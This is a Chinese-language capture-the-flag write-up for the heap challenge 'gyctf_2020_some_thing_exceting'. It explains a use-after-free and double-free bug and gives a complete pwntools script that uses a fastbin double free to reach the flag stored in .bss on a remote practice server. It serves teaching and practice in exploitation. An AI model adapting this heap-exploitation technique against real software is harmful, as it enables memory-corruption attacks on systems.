image.png
    保护措施就这样
    image.png
    首先要在根目录下有这个文件,不然的话本地是跑不通的
    image.png
    漏洞也很明显就是这个指针没有清零,所以这里有uaf和double free漏洞
    然后我调试了下,发现没有got表和plt表
    image.png
    creat函数里也只能申请fast bin,连libc都不能泄露
    再看最开始那个函数,我们的flag已经读到了bss段上,还好没有开pie(估计没有开pie的原因就这个)
    所以我们申请的堆块在这里然后show一下就ok了

    1. from pwn import*
    2. from LibcSearcher import*
    3. context.log_level = 'debug'
    4. #context.arch = 'amd64'
    5. #io =process('./gyctf_2020_some_thing_exceting')
    6. io = remote("node4.buuoj.cn",26178)
    7. elf = ELF('./gyctf_2020_some_thing_exceting')
    8. #libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
    9. #libc = ELF('libc-2.27.so')
    10. def debug():
    11. gdb.attach(io)
    12. pause()
    13. def creat(sizel,valuel,sizer,valuer):
    14. io.recvuntil('> Now please tell me what you want to do :')
    15. io.sendline('1')
    16. io.recvuntil("> ba's length : ")
    17. io.sendline(str(sizel))
    18. io.recvuntil('> ba : ')
    19. io.sendline(valuel)
    20. io.recvuntil("> na's length : ")
    21. io.sendline(str(sizer))
    22. io.recvuntil('> na : ')
    23. io.sendline(valuer)
    24. def edit(Index,value):
    25. io.recvuntil('> Now please tell me what you want to do :')
    26. io.sendline('2')
    27. def show(index):
    28. io.recvuntil('> Now please tell me what you want to do :')
    29. io.sendline('4')
    30. io.recvuntil('> Banana ID : > SCP project ID : ')
    31. io.sendline(str(index))
    32. def free(index):
    33. io.recvuntil('> Now please tell me what you want to do :')
    34. io.sendline('3')
    35. io.recvuntil('> Banana ID : ')
    36. io.sendline(str(index))
    37. bss_address = 0x6020a0
    38. creat(0x50,'aaaa',0x10,'1111') #0
    39. creat(0x50,'abcd',0x50,'1234')#1
    40. creat(0x10,'bbbb',0x10,'2222')#2
    41. free(1)
    42. #debug()
    43. free(0)
    44. #debug()
    45. free(1)
    46. #debug()
    47. creat(0x50,p64(bss_address-0x8),0x50,'abcd')#3
    48. #debug()
    49. creat(0x50,'a',0x10,'b')
    50. creat(0x50,'f',0x60,'a')
    51. show(5)
    52. io.interactive()